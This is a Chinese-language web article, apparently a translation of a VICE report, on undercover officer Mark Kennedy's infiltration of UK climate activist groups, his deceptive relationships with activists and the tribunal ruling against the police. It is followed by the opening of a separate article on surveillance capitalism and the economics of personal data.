我们曾经详细介绍过秘密行动的所有手段，也对政治渗透的常见战术和识别线人的一些基本原理进行了分析。在数字化监控技术飞速发展的今天，很多人会下意识地忽略人力情报的使用率，这是错误的。人力情报 —— 即 线人和卧底 —— 至今依然是全世界的间谍机构的挚爱。

这意味着，对于敏感人士来说，不论您是交朋友还是谈恋爱，都不得不格外小心。

您可以在下面回顾一些曾经发布过的相关内容：

- 《什么是秘密行动？他们会怎么做？》
- 《警察渗透抗议运动简史》
- 《政治渗透是如何操作的》
- 《政府线人会怎么做》
- 《如何对付政治渗透》
- 《对政治渗透的一些具体解释》
- 《如何分辨线人？如果间谍要求你做线人怎么办》

本文是一个真实案例。此案的申诉时间长达10年，在去年出版的一本书中进行了完整的记录。您可以在这里下载这本书：《Undercover: The True Story of Britain’s Secret Police》。马克·肯尼迪为了与凯特·威尔逊发生性关系而伪装成活动家。

当凯特·威尔逊23岁时，她被骗与一个年长的家伙发生了关系，而这个家伙并不像他所表现的那样。

对凯特来说，此人名为马克·斯通，一个激进的环保活动家，和她一样喜欢乡村音乐，相信资本主义正在摧毁这个星球。他为她写诗，去参加她祖母的90岁生日聚会，并帮助她组织大规模的抗议活动，反对在苏格兰举行的G8峰会。他们作为恋人在一起生活了近两年，之后多年一直是亲密的朋友。

但是，在他们第一次见面的7年后，即2010年，当威尔逊得知斯通的真实身份的惊人真相时，他们的亲密关系破裂。他事实上姓“肯尼迪”，而且是已婚人士，有妻子和两个孩子。尤其是，这个一直在与威尔逊“分享我的许多兴趣和梦想”、告诉她“许多他最私人的故事和秘密”的人，实际上在为英国政府工作。

2003年，肯尼迪被伦敦大都会警察局的一个精英单位派去做卧底，收集像威尔逊这样的活动家的情报。他花了七年时间过着双重身份的生活：表面上他是一个无畏的行动主义组织者，有一个前可卡因走私者的阴暗背景，但事实上他也是一个在爱尔兰有家室的警察。

直到他被一小群侦查的活动家“揭发”的那一天，肯尼迪一直被认为是一个值得信赖的运动领袖，他看起来拼命想唤醒英国和世界对即将到来的气候紧急情况的恐惧。但他的朋友、队友和**至少10名与他发生过性关系的其他女性**，并不知道肯尼迪已经将他们出卖给了那些在保持国家对化石燃料的依赖上有既得利益的政府和公司。

这不仅仅是个人的背叛。“他在控制人们的政治组织能力”，威尔逊告诉**VICE**世界新闻说，“这是极度反民主的。”

在肯尼迪第一次见到威尔逊，并引诱威尔逊将他带入她的卧室近20年后，法律后果仍在进行中。去年9月，一个被称为调查权力法庭的司法机构对肯尼迪作出了一项严厉的裁决。

法院裁定，肯尼迪“贬低、侮辱和羞辱”了威尔逊。他“侵犯了她私人生活的核心”，并“造成了她的精神痛苦”。他“干涉”了她的“性自主权”，对她的“身体完整性和人类尊严”表现出“极度缺乏尊重”。这是一种“最高级别的虐待”。

调查权力法庭得出结论：“这不仅仅是一个关于警察线人的案件，他利用他的卧底部署来放纵他的性癖好”。法庭结论描述了“在最基本层面上令人不安和可悲的过错”。

该裁决指出，英国最大的警察部队对肯尼迪在卧底期间发生性行为采取了“不问不说”的政策，“或者更可能是对保护女性缺乏兴趣”。裁

决写道，像威尔逊这样的活动家从来不应该因为自己的政治信仰而成为政府间谍的目标。

大都会警察局并没有对该判决提出异议。“我们接受并承认法庭认定的所有侵犯威尔逊女士人权的行为的严重性”，该部门在提供给VICE世界新闻的一份声明中说，“[我们]毫无保留地就部署这些卧底人员所造成的损害和伤害向威尔逊女士道歉。”

威尔逊以前曾说过，了解肯尼迪的真实身份“就像一个电脑病毒。它破坏了我对那些时间的所有记忆，并影响了我此后的所有关系”。

去年秋天的法院裁决是威尔逊十年法律斗争的结果，这在欧洲大部分地区都是重大新闻，但在美国和加拿大几乎没有人注意到。她说：“就情感上的结束而言，这一切都相当复杂。最终，这个判决是一个比我预想的更大的胜利。”

这项裁决也是对英国其他几十名女性的协助，这些女性站出来坦承她们也被骗与卧底警察发生了性关系。法庭现在将决定威尔逊应该得到什么赔偿。

但威尔逊的一些朋友和前活动家同事说，肯尼迪造成的伤害不仅是个人的，它实际上是系统性的。他们说，肯尼迪代表了一支敌视政治异议的警察部队玩弄的肮脏伎俩，阻碍了以防止地球过热造成死亡和破坏为目标的气候运动。

“他控制着人们在政治上组织起来的能力。”

VICE世界新闻采访了超过半打与英国气候运动密切相关的人，他们都在2000年代与那个虚假的“马克·斯通”接触过。他们中的一些人，像威尔逊一样，如今仍在试图重建自己的生活。自从肯尼迪被曝光后，他们都基本上无法再参与气候正义运动了。他们说，这个卧底警察给他们社区带来的不信任和偏执的冲击波，破坏了一个即将产生巨大政治影响的运动的稳定。

美国前气候正义运动组织者哈里·哈尔平（Harry Halpin）说：“让我们把历史倒退一下”。他说，在参加了肯尼迪的活动家会议后，他被联邦调查局特工跟踪。哈尔平说，在2000年代末，气候抗议运动背后有着真正的全球势头。但它没有“能够继续在科学家的帮助下向政府施压以阻止气候变化”，而是在很大程度上消失了。他认为肯尼迪这类卧底警察应该至少承担部分责任。

“让我们完全肯定地说：这个卧底警察故意破坏了这个过程”，哈尔平说，他现在经营着一家互联网隐私公司，雇用切尔西·曼宁，他说，“卧底警察通过入侵关键人物并破坏他们的生活，摧毁了整个运动”。

马克·肯尼迪经常似乎在同时看着两个方向。2岁时，他在纸箱里玩耍时被一根钉子伤到了眼睛，这次受伤使他的肌肉受损，只能用一只眼睛聚焦。

他在20多岁时加入了伦敦警察局，1999年，他完成了一个培训警官如何卧底抓捕毒贩的课程。他后来告诉《每日邮报》：“我对卧底工作很有天赋，我喜欢这种工作。毒品工作是黑白分明的。你确定坏人，记录和拍摄证据，在法庭上提出，并把他们拿下。我这样做了四年。”马克·肯尼迪在 2011 年的照片。法庭发现他在卧底期间与至少 11 名女性发生过性关系。

尽管肯尼迪的工作似乎没有导致任何引人注目的案件，但它引起了他的上级的注意。2002年，他通过了一系列测试，使他得以开始在国家公共秩序情报组工作，该组的设立是为了监测警方担心可能造成寻衅滋事和暴力的社会团体。在实践中，该情报小组针对的许多目标都是从事社会正义、反种族主义和环保运动的活动家。一项公开调查显示，自**20**世纪**60**年代以来，超过**144**名卧底人员对**1000**多个民间政治团体进行了渗透监视。

肯尼迪搬到了英国城市诺丁汉，在伦敦以北三小时车程的地方。他说，他或多或少随机选择了“斯通”这个姓氏，因为它听起来很中性。该单位的卧底人员保留自己的名字是常见的做法。肯尼迪告诉英国广播公司第四频道：“如果你被困在人群中，有人喊你，你需要能够立刻做出反应，这真的很重要”。

VICE世界新闻通过肯尼迪的 LinkedIn 页面要求他接受采访，但他没有回应这个请求。

他的第一个任务是潜入一个被称为 Sumac 中心的社区空间，这是一个集会场所，活动家们在这里制定战略，烹制素食，举办聚会，并放映电影。肯尼迪为这项工作做了准备，他买了黑色衣服，打了耳洞，并把自己的头发留长。这是卫报记者罗布·埃文斯和保罗·刘易斯在《卧底：英国秘密警察的真实故事》一书中的描述。

他还编造了一个背景故事。肯尼迪一直擅长攀爬，所以他决定将自己表现为一名专业的绳索技术员，在起重机和摩天大楼上工作。这将是

解释他经常失踪的一个方便途径。为了帮助解释他从警察那里得到的慷慨的佣金，他假装自己以前从巴基斯坦走私可卡因赚了很多钱。

“这不是他要宣布的事情。相反，这是一个会慢慢展开的秘密，为他的身份提供了第二层包装”，埃文斯和路易斯在《卧底》一书中写道，“他可能是一个渴求刺激的冒险家，也是一个想为过去的失败寻求补偿的人。”

在 Sumac 闲逛的几个月内，肯尼迪开始把注意力集中在凯特·威尔逊身上，她是一个20岁出头的女人，在国际上参加环保营和活动家会议，认识世界各地的活动家。她会说几种语言，最近在委内瑞拉担任翻译，曾一度翻译过乌戈·查韦斯总统的演讲。肯尼迪引起了她的兴趣。威尔逊后来告诉埃文斯和刘易斯：“他非常有魅力，令人兴奋，很有趣。他比我大很多—— 差不多大10岁。他非常浪漫，这为我们的关系定下了基调。”

肯尼迪和威尔逊很快就开始约会。“他经常带[威尔逊]出去吃饭”，法庭判决书中写道，“他给她买礼物。他们进行一日游、周末旅行和度假。他给她写信，语气深情，充满爱意。他给她写诗。他教她驾驶面包车，并在他不在时让她使用他的车子”。马克·肯尼迪甚至参加了凯特·威尔逊祖母的 90 岁生日派对。

他们开始每周一起度过三到四个晚上，2004年5月左右，他们搬进了与其他活动家合住的房子。肯尼迪为威尔逊 “搭建了一张四柱床。他们把[威尔逊]的房间用作书房和备用房间，并在上面放了一个垫子睡觉。有一次，[威尔逊]的父母住在[马克·肯尼迪的]房间”，判决书写道。肯尼迪利用他的卧底预算给威尔逊买礼物，有一次向他的部署经理要现金，要给她买一辆二手山地自行车。

当威尔逊与她认识的 “马克·斯通” 相爱时，卧底警察肯尼迪向他的上司提交了关于她的报告。调查权力法庭引用的一份内部报告说：“ [她] 几乎在这次行动开始时就被肯尼迪确定为活动界的一个有影响力的人。因此，该卧底行动利用她的声誉、知识、精力和联系（包括国内和国际）来推动和促进 [肯尼迪] 自己的地位”。

从他们的关系开始，威尔逊和肯尼迪就在组织政治活动。2005年，世界八大经济强国的领导人在苏格兰举行八国集团峰会的前夕，威尔逊和肯尼迪开始为一场大规模的反全球化抗议活动协调议程和物流。数以千计的人来到现场，向当时的首相托尼·布莱尔、乔治·W·布什和其他领导人施压，要求他们采取行动解决气候危机和全球贫困问题。

那年早些时候，威尔逊和肯尼迪结束了他们的浪漫关系，当时威尔逊决定搬到巴塞罗那。“尽管如此，他们仍然关系密切，感情深厚”，法庭文件中写道，“肯尼迪在分手后还与她的家人保持着联系。”

到那时，威尔逊已经为肯尼迪的卧底任务发挥了所需的作用。在两年的时间里，他已经从 Sumac 社区的新人变成了英国反抗运动中值得信赖的人物。

在苏格兰北部的八国集团峰会期间，抗议者在离峰会召开地格伦伊格尔斯酒店12英里的地方设立了一个营地，以容纳来自欧洲和世界各地的数千名活动家。肯尼迪被安排负责后勤工作。他开车在全国各地寻找便携式厕所、帐篷和其他用品。根据一些说法，肯尼迪很好地完成了他的工作，这为他赢得了“运输马克”的新绰号。

除了对运动有用之外，肯尼迪也可以成为很多人的乐趣。“他是个好人，超级友好，真的很容易相处”，杰森·柯克帕特里克说，他是一个气候正义活动家，在这个时候第一次见到肯尼迪，他正在拍摄一部关于卧底警察的纪录片，名为《被监视》，“他有一些钱，他提出买几轮啤酒；这使他相当受欢迎。”

对于参加八国集团峰会的许多活动家来说，住在营地本身就是一个亮点。他们做公共餐，建立网络，参加聚会，并实行直接民主，这是一种分散的决策形式，每个人，至少在理论上，都有平等的发言权和权力。也就是无政府状态。这让一些气候活动家思考：如果能把这样的营地变成一个常规的系统，会怎么样？

第二年，2006年8月，活动家们在英国北约克郡的Drax发电站外设立了一个“气候营”，该发电站位于曼彻斯特以东约一个半小时的车程。Drax当时是西欧最大的煤厂，也是英国最大的碳污染者之一。通过在该设施外建立一个狂欢式的营地，活动家们希望吸引公众对气候紧急情况的关注，并确定煤厂是罪魁祸首之一。

但是，一些活动家想要更进一步。他们希望完全关闭该工厂。

肯尼迪是负责实现这一目标的团队中的一员。他后来告诉第四频道：“我提出了在周边围栏周围埋设断线钳的建议。计划是让活动家们在围栏上凿洞，钻进煤厂，并暂时迫使煤厂关闭”。但是，当活动家们在**8**月**31**日到达围栏时，他们遭到了一整个防暴警察中队的伏击——根据他对《每日邮报》的采访，是肯尼迪向警察部队提供了情报。2006 年 8 月，活动家们聚集在 DRAX 发电站周围，这些是保护那里的警察。

肯尼迪可能出卖了他的战友，但当警察开始用警棍击打一名女性抗议者的腿时，他显然进行了干预。由于不知道他是一名卧底警察，五名警察一拥而上。“他们拿着警棍，猛击我的头。他们对我拳打脚踢”，他后来告诉《每日邮报》说，“一名警官反复踩着我的背”。

法庭认为，应该以某种怀疑的态度看待肯尼迪的所有回忆。法庭认为他是一个“非常不可靠的叙述者”，鉴于他长期的欺骗历史，“我们认为我们不能对他的陈述和评论给予任何重视”。

不过，在运动中，肯尼迪现在有一个作为组织者的成熟记录，并有战斗过的伤疤可以证明。

但随着时间的推移，一些气候活动家仍然难以对他产生信任。正是这些日常的事情使他显得格格不入。他看似无穷无尽的现金供应令人怀疑。肯尼迪参与了很多行动，说话也像个兄弟。“我从来没有信任过他，因为他是大男子主义者”，在这个时代偶尔与肯尼迪合作的气候正义运动组织者杰伊·乔丹告诉VICE世界新闻网说。

肯尼迪的政治观点似乎并不复杂。柯克帕特里克说：“他不是最聪明的人，我的意思是他并没有很好地掌握复杂的政治话题。因此，如果我们试图认真讨论气候变化问题，他就会说，‘哦，这对我来说已经足够了。问题很清楚；我们需要做些什么’”。

活动家们压制了自己的疑虑。他们中的一些人是受过教育的知识分子，他们不想因为此人至少看起来是工人阶级而把他撇开。而肯尼迪总是热衷于帮助别人。此外，他还有一辆面包车（他们不知道的是，通过在抗议活动后开车送人们回家，他可以获得关于活动家居住地点的信息）。

最重要的是，在肯尼迪和威尔逊分手后，肯尼迪很快就和一个公开化名为丽莎的女人建立了另一段长期关系。乔丹认为这些关系对肯尼迪的卧底工作至关重要。“如果他没有和那些女人在一起 ..... 我不认为他能够完成他所做的工作”，乔丹说，“他完全利用 [她们] 作为渗透和获得信任的一种方式。”

到2009年，肯尼迪利用这种信任与一小群气候活动家合作，执行一项最高机密的任务。他们的目标是 Ratcliffe-on-Soar，另一个巨大的燃煤电厂，这个电厂在诺丁汉南部，肯尼迪第一次开始部署的城市。他们认为，如果他们能从全国各地招募数十名活动家，闯入该设施，关闭发电机，并占领发电站一周，这将创造一个媒体奇观，使英国政府感到尴尬，并制造公众压力，使该国摆脱煤炭。2009 年 10 月在

RATCLIFFE-ON-SOAR 发电站，警方强力镇压气候变化抗议者。

肯尼迪几乎从一开始就参与其中了。他开车带着计划委员会中的几位活动家在工厂周围进行了考察。但他们都不知道肯尼迪其实是奉上级之命来阻止抗议活动的发生。《卧底》一书中引用的国家公共秩序情报组的一份机密文件指出，如果活动家们成功关闭索尔拉特克利夫(Ratcliffe on Soar)，可能会造成 “英国的严重经济损失，并对公众的安全感产生不利影响”。

丹尼·奇弗斯是被邀请参加直接行动的几十个人中的一个。邀请函的细节不多。他被告知要在诺丁汉郊区的一所学校出现，准备过夜，并且不要带手机。“这听起来很有趣”，奇弗斯想。2009年4月12日，当他到达学校时，组织者向人群介绍了第二天占领煤厂的计划，并警告说任何参与的人都可能被逮捕。他们让人们在凌晨3点之前决定是否要加入。

奇弗斯犹豫着该怎么做。“在这一点上，我从来没有在抗议活动中被逮捕过”，他告诉VICE世界新闻，“所以当时就想，‘好吧，我真的准备好了吗？’”

在众人不知情的情况下，肯尼迪用警察发放的腕表秘密记录了整个行动的过程。当午夜过后不久，警察突袭学校时，奇弗斯正在睡袋里，还没有决定是否加入直接行动。他说：“门上传来巨大的敲击声，突然有数百名警察冲进大楼”。

根据《卧底》一书对该事件的描述，一名警察站在房间中间。该警官说：‘你们都被捕了，因为你们涉嫌参与了在电力行业设施中实施严重侵入和/或刑事破坏的阴谋。总共有114人被逮捕“。

在 Ratcliffe-on-Soar 突袭事件的前一年，即2008年，肯尼迪前往纽约市，监视来自美国和欧洲的反资本主义活动家的会议。现在经营着一家互联网隐私公司的美国气候正义运动组织者哈尔平是参加那次会议的人之一。他第一次见到肯尼迪是在前段时间英国的一家酒吧。“他给我的印象是不太聪明”，哈尔平告诉VICE世界新闻。哈尔平是一位年轻的、激进的计算机科学家，正在攻读研究生学位，参与了气候营运动。他有朋友是气候科学家，他开始相信，如果没有来自民间社会的强大压力，全球紧急情况将继续恶化。他说：“没有什么比气候问题更重要的了”。

据来自美国的哈尔平说，纽约的会议没有什么特别之处。活动家们讨论了抗议技巧，谈论了生态危机，并抱怨缺乏社会空间来组织。哈尔

平称，肯尼迪有一次感到无聊，离开会议去喝酒了。“那是一个有点无意义的会议”，肯尼迪后来向《滚石》杂志承认。

但是，在那次纽约之行后，哈尔平开始觉得自己的行动主义被警察盯上了。回到欧洲后，哈尔平参加了一个会议，会上活动家们就如何影响即将在哥本哈根举行的国际气候谈判制定了策略。肯尼迪也出席了会议。当哈尔平回到英国时，他在边境被拦住，并被当作恐怖分子来审问。他声称：“他们强迫我在违背我意愿的情况下交出我的生物识别信息”。

那年晚些时候，哈尔平去了哥本哈根，参加了一个示威活动，向领导人施压，要求他们通过一项积极的气候协议。他们担心，如果没有这样的协议，发展中国家将变得越来越容易受到洪水、极端天气、干旱、饥荒以及由此产生的政治不稳定的影响。

但抗议活动并没有产生哈尔平所希望的影响。警察出现了，逮捕了230多人。“我被打了”，哈尔平说，“他们打碎了我的眼镜”。 哈尔平说，他被带到了一个私人牢房。后来，他被告知他被怀疑是“恐怖分子”，但由于没有任何证据可以指控他，最终丹麦警察放他走了。

与此同时，哥本哈根谈判在世界主要污染者之间的僵局中结束。在一些观察家眼中，这是一次“壮观的失败”。

这一经历震撼了哈尔平。当他后来得到麻省理工学院与万维网发明人之一蒂姆·伯纳斯·李（Tim Berners-Lee）的工作面试机会时，哈尔平认为这可能是一个离开的好时机。但当他降落在美国时，哈尔平说警察把他拉到一边，审问了他几个小时。他们给他看了一张他参加过的气候抗议活动的照片，肯尼迪也参加了这次活动。后来，两名联邦调查局特工居然在他与伯纳斯·李的面试中出现了。(哈尔平的名字被列入了2008年的联邦调查局文件中，VICE世界新闻网看到了这些文件)。他很快找到了一名律师，律师建议他回到欧洲。

目前，英国正在进行一项由法官主导的关于卧底警察的调查，其中包括哈尔平的名字，他被列入卧底警察的针对目标名单。由英国前首相特雷莎·梅在2015年成立的这个卧底警务调查组正在考虑几十年来关于英国秘密警察项目的证据，以便就“未来应如何进行卧底警务”提出建议。

在哈尔平与联邦调查局发生冲突的前后，在拉特克利夫抗议活动前被捕的活动家奇弗斯也对自己的未来感到不确定。在学校被捕后，当局对26名抗议者提出了共谋非法入侵的指控，这一罪行有可能导致三个

月的监禁。这些活动家中，有20人在突击检查前就决定要参加占领电厂的活动。他们打算在法庭上辩称，由于气候紧急情况的严重性，他们的行动是合理的，并最终安排美国宇航局的科学家和气候专家詹姆斯·汉森代表他们在法庭上发言。

奇弗斯属于一个由六人组成的亲密团队，他们有单独的律师，并计划辩称他们在警察逮捕他们之前还没有决定加入行动。他说："我们基本上只是因为考虑过这个问题而受到了审判"。

随着许多被捕的活动家被保释出来，肯尼迪和其他七个活动家朋友决定举办一个为期数天的大型狂欢活动，以庆祝他们的40岁生日。他们组成了一个名为 69ers 的摇滚乐队。他们的计划是在赫里福德郡的一个农村地区的谷仓里为喝醉的人群表演 Sex Pistols 乐队的 "无政府状态在英国" 等翻唱歌曲。肯尼迪和他的乐队69ers

但在肯尼迪上台之前，他收到了国家公共秩序情报组的短信。据一位活动家说，"行动已经结束"，出于隐私考虑，VICE世界新闻网同意将其化名为 "杰克"。

据报道，肯尼迪在迷迷糊糊中完成了演出，并早早上床睡觉。杰克告诉VICE世界新闻，在接下来的几天和几周里，他开始表现出偏执和神经质。看起来肯尼迪处于精神崩溃的边缘。

肯尼迪的朋友们的担心是合理的。但他们不知道假装精神崩溃和突然消失是卧底人员结束部署的标准训练—— 尽管在肯尼迪的案例中，有些痛苦可能是真的，杰克和其他活动家后来猜测。生日聚会后不久，肯尼迪告诉人们他感觉不舒服。他说他要去美国看望他的兄弟，然后他就离开了。

肯尼迪的退出战略似乎完全按计划进行。但几个月后，他突然重新出现在英国。他的老朋友们对所有事情的发展感到困惑，但对他的回归感到高兴。当时没有人知道实情，而肯尼迪又描述了一个新的雇主。

他说，大约在那个时候，他开始为一家名为 Global Open 的企业情报机构担任顾问。该机构的客户之一是E.ON公司，即拉特克利夫发电站的运营商。《卫报》和《每日邮报》报道的文件显示，肯尼迪成立了一家公司，其地址与一名前 Global Open 公司董事相同。然而，Global Open 公司的一名代表告诉《卫报》，它从未雇用过这位卧底警察。而且，《每日邮报》报道说，"E.ON公司不愿证实也不愿否认肯尼迪是否为其工作"。

在肯尼迪的卧底警察行动结束之前，他不得不交出警察为他制作的所有假文件。他不再有以马克·斯通为名的护照了。

接下来发生的事情的细节是由杰克提供给VICE世界新闻的。他的叙述也符合记者在《卧底》一书中的描述，以及其他媒体的报道。2010年夏天，肯尼迪和他当时的女友丽莎去意大利度假。有一天，当肯尼迪离开时，丽莎开始在他们的面包车的手套箱里翻找太阳镜。她拿出一本护照，上面有肯尼迪的真实姓名。上面写着他是一个父亲。她发现了一部 iPhone，里面有写给 “爸爸” 的电子邮件。

当肯尼迪回来时，丽莎与他对峙。“他完全崩溃了”，杰克说，他和丽莎仍然是亲密的朋友。通过啜泣，肯尼迪说他使用斯通这个名字，尽管他的合法名字是肯尼迪，以摆脱对其贩毒历史的调查。他说，这个孩子实际上是他以前的贩毒伙伴的儿子，当这个伙伴死后，肯尼迪就把这个孩子当作自己的孩子。

丽莎想去相信他。在那个时候，他们已经在一起多年了。肯尼迪去参加了她父亲的葬礼。但有些事情让她觉得不对劲。

几个月后，丽莎将她的疑虑告诉了杰克，他是一个业余的家谱研究专家。他找不到任何关于马克·斯通的证据，但他确实找到了一个有妻子和两个孩子的马克·肯尼迪的公共记录。经过进一步挖掘，他找到了肯尼迪的一个孩子的出生证明。上面列出了父亲的职业是 “警察”。“我的心都快跳出来了”，杰克说。他们让另一位在都柏林的朋友调出肯尼迪妻子的记录，他们找到了一个电话号码。丽莎拨通了这个号码，肯尼迪接了电话。据这位朋友描述，当时丽莎说：“你需要来这里解释真相”。

当肯尼迪到达诺丁汉的一所房子时，有六个人在等他，包括丽莎和杰克。当时已过凌晨1点，他们都坐在客厅里。肯尼迪承认自己有妻子和孩子，但对自己的过去一直在说不可能的谎言。最后，房间里的一个人直接问他。“你是什么时候加入警察队伍的？” 据杰克说，肯尼迪抬头看了看天花板，深深地呼出一口气。只有在那时，肯尼迪才承认他是一名警察。

这些活动家在英国 IndyMedia 网站上公开了他们的发现，在这个平台上人们可以发布主流媒体没有报道的 “重要社会和政治问题”。“马克·斯通/肯尼迪被曝是卧底警察”，他们的帖子写道，“面对面的忏悔已经证实了这一点”。起初，他们的圈子之外没有人注意到。但是，在拉特克利夫的审判中，对面临监禁的活动家的法律影响是显而易见的。检方没有在法庭上表明，逮捕是由于卧底人员的原因。如果肯尼

迪对突袭行动的腕表记录被公开，它将表明奇弗斯和其他活动家从未正式同意参与占领煤厂。

“针对我们的案件已经崩溃了”，奇弗斯说，“我们能够让它被推翻”。丹尼·奇弗斯（右二）是 2011 年在诺丁汉皇冠法院被撤销指控的六名被告之一，此前有关肯尼迪渗透气候运动的消息被曝光

就在这时，肯尼迪的故事爆发了。《卫报》刊登了一篇题为“卧底人员监视绿色活动家”的报道。肯尼迪聘请了一位名人公关，并接受了《每日邮报》、BBC和《滚石》的采访。在这些早期的故事中，肯尼迪将自己描绘成一个饱受折磨的灵魂，他爱上了他被指派去监视的人。“我确实非常想念她”，肯尼迪在接受第四频道的一次含泪采访时谈到被称为丽莎的人，“尽管发生了一切，你知道，我还是对她撒了谎。”

但是肯尼迪的前活动家朋友们并没有感到特别的同情。他的真实身份的消息出现在气候运动的危险时刻。哥本哈根气候会谈以失败告终。在一名黑客窃取并公开了英国气候研究人员的1000多封电子邮件后，气候否认者感到胆战心惊，这一事件被气候否认者称为“气候门”，虚假地声称显示研究人员对气候科学表示怀疑。在美国，一项限制温室气体排放的重要法案已经崩溃。2011 年的马克·肯尼迪。他在前一年被曝光是卧底警察。

除此之外，气候营运动中的许多活动家在经过多年的组织工作后，正在逐渐倦怠。他们的年龄越来越大，并且退出了。奇弗斯说，肯尼迪的消息，“是另一个沉重的打击”。他说：“在我们需要保持强大的时候，卧底恐怖吸取了我们巨大的能量”。

乔丹同意，得知肯尼迪的背叛后，花了多年时间建立的信任被削弱。他说：“卧底行为对运动的影响就是它使你怀疑一切”。

对威尔逊来说，有关肯尼迪的消息炸毁了她的身份感。她后来说：“这种影响，悲痛和偏执，以及羞耻感真的让我瘫痪了很长一段时间”。在《卫报》对国家公共秩序情报组进行进一步调查后，其他社会正义和环境活动家开始站出来，讲述卧底警察欺骗他们的故事。

2011年12月，威尔逊和其他七名妇女对伦敦警察局发起了法律诉讼。他们说：“国家工作人员可以与政治活动家培养亲密和持久的关系，以获得有关这些政治运动的所谓情报，这是不可接受的”。

2011年，他联系了为企业提供情报服务的斯特拉福(Stratfor)公司。

在后来被维基解密公开的一封电子邮件中，肯尼迪向 **Stratfor** 解释说，他 “对国内和国际上的反抗活动趋势和影响有深入的了解，在八年的国际部署中渗透了许多活动家团体”。

“非常令人印象深刻的卧底工作”，一位 Stratfor 情报分析员在给同事的另一封邮件中写道，该邮件也被泄露了。“他看起来确实像一个肮脏的嬉皮士”。Stratfor 没有回应VICE关于这些电子邮件的媒体请求。

不久之后，肯尼迪更新了他的 LinkedIn 个人资料，说他现在是 Densus 集团的顾问，这是一家 “风险管理公司”，除其他任务外，还就如何应对原住民部落和环保团体的抗议活动向管道公司提供建议。他的资料显示，他目前住在加利福尼亚的西好莱坞。Densus 集团没有回答VICE世界新闻的询问，即肯尼迪目前是否在该公司工作或曾经为其工作过。

回到英国，大都会警察局在2015年向威尔逊和其他活动家发表了正式道歉，其中写道 “他们[活动家们]被如此大范围地和简单地欺骗了”。但是，道歉书声称，肯尼迪是一名流氓警官，他的上级绝不会授权他与活动人士上床，作为一种收集情报的策略（就是替罪羊手段）。威尔逊认为那是假的。在2018年《卫报》的一篇文章中，她说：“我想知道警察的等级制度有多高，对这些虐待行为的认识有多高。”去年 9 月，经过近 10 年的法庭斗争，凯特·威尔逊 (Kate Wilson) 的人权之战在法庭上获胜。

经过近10年的法庭斗争，一个被称为调查权力法庭的法律机构去年9月裁定，威尔逊在肯尼迪和支持他的警察机构手中遭受了严重的人权侵犯。“高级官员要么知道这种关系，要么选择假装不知道，要么不称职和疏忽”，裁决书写道。但法庭找不到证据表明这些性关系是国家公共秩序情报组的 “蓄意战术”。“在我们看来，真正的立场更接近于 ‘不要问，不要说’。”

这仍然是一个具有纪念意义的事件。“我完全崩溃了”，威尔逊在推特上说。

在几十年来警察秘密监视左翼活动家、好像反抗者是潜在的恐怖分子之后，法庭的判决可能会给执法部门带来压力，使他们可能去尊重那些想要修复地球和使社会更加平等的人的合法政治表达。“希望几年前的这些事件不再是这个国家警务工作的特点”，判决书中写道，“我们希望[警方]能从这些诉讼中吸取教训”。

无论法庭在损害赔偿方面做出什么决定，都不可能消除肯尼迪已经对

威尔逊和全球气候运动造成的伤害。9月的判决书指出，现年41岁的威尔逊“已经被切断了很大一部分的政治活动”，在她参加大型政治活动的零星场合，“她的焦虑迫使她离开”。

“直到今年秋天，我一直在将所有的社会变革热情投入到与警察在这个问题上的斗争中”，威尔逊说，“现在，法庭案件已经结束，我需要弄清楚接下来会发生什么。”

哈尔平也说，由于担心被警察追踪，他被迫“退出了所有与气候问题有关的抗议活动”。他能够做的气候组织活动必须在更高的政治层面进行，通过进步国际这样的团体。2018年，哈尔平创办了一家名为Nym 的公司，利用区块链技术保护用户免受网络监控。最近，Nym的估值约为2.7亿美元。“时至今日，我还在与多个司法管辖区的法院打官司，以清除我的名字，看在上帝的份上”，他说，“我的旅行仍然有困难，而我经营着一家跨国公司（需要旅行）。”

想到如果没有肯尼迪和其他警察从内部破坏他们，英国和其他地方的气候正义运动活动家可以取得多大的成就，他就感到很痛苦。他说：“这极大地打击了士气。这可能使气候正义运动失去多年的组织工作。”○

How a Married Undercover Cop Having Sex With Activists Killed a Climate Movement

原文

我们的付出应该获得回报 —— 是时候了，打破监视资本主义的数据经济 Separator 监视资本主义 % Separator iYouPort

你应该了解的现实你的反乌托邦在线生活阴云密布维稳面面观

打败监视资本主义的方法只能是构建一种比它更加强大的、更具公共利益的盈利模式—— 这个世界的规则就是这样，即协作和公平，一个系统的稳定性取决于它能在多大程度上令大众感知到公平和协作的价值。以垄断和剥削为根基的监视资本主义不可持续。

“数据奴隶制“。美国艺术家 Jennifer Lyn Morone 认为这就是如今大多数人的生活状态。为了获得免费的在线服务，人们向科技公司提供了自己最私密的信息。

“个人数据比你所想象的更具价值”，她说。为了突出这种令人遗憾的事态，Morone 将其诉之为“极端资本主义”：她在特拉华州注册了自己的公司，试图利用她的个人数据获取经济利益。她创建了包含不同数据子集的档案，并于 2016 年在伦敦画廊展出并公开出售，起价 100 英镑（135美元）。整个系列，包括她的健康数据和社会保险号码，你支付 7,000 英镑就可以拿走。

只有少数买家接受了这个提议，她发现“整件事真的很荒谬”。然而，如果艺术家的工作是期待时代精神，那么 Morone 女士显然已经失败了：今年全世界都已发现，数据经济中有些东西在腐朽。自从今年三月剑桥公司丑闻被曝光以来，呼吁重新考虑处理在线个人数据的声音只会越来越响亮。即使是德国总理 Angela Merkel 最近也开始要求对个人数据进行定价，要求研究人员提出解决方案。

> *Data provided by humans can be seen as a form of labour which powers artificial intelligence*

鉴于目前的数字事务状态，其中个人数据的收集和利用都由大型科技公司主导，Morone 女士的方法，即个人把自己的数据拿出来出售，似乎不太可能流行。但是，如果人们真正控制自己的数据，让需要访

问这些数据的科技巨头付费呢？这样的数据经济会是什么样？

这不是第一次重要的经济资源从简单地使用到真正的拥有和交易，例如土地和水，早已发生了同样的情况。但数字信息似乎不太可能被市场分配。

与物质资源不同，个人数据是经济学家称之为“非竞争对手”商品的一个例子，这意味着它们可以被使用不止一次。频繁的数据泄漏表明控制数据有多么的困难。但是另一个历史先例可能提供了一个模型，也提出了对当前“技术封建主义”的担忧，争论在虚拟现实先驱 Jaron Lanier 和耶鲁大学经济学家 Glen Weyl 之间发生，他们都为微软研究院工作。

像数据一样，人工也是一种难以确定的资源。在人类历史的大部分时间里，工人并没有得到适当的劳动补偿。即使人们可以自由地出售劳动力，工资也需要几十年才能达到平均水平。Weyl 先生在“Radical Markets”一书中预测，历史不会重演，但它可能会富有韵律，这是他与芝加哥大学的 Eric Posner 共同撰写的一本具有挑衅性的新书。

他认为，在人工智能时代，将数据视为一种劳动形式是有意义的。

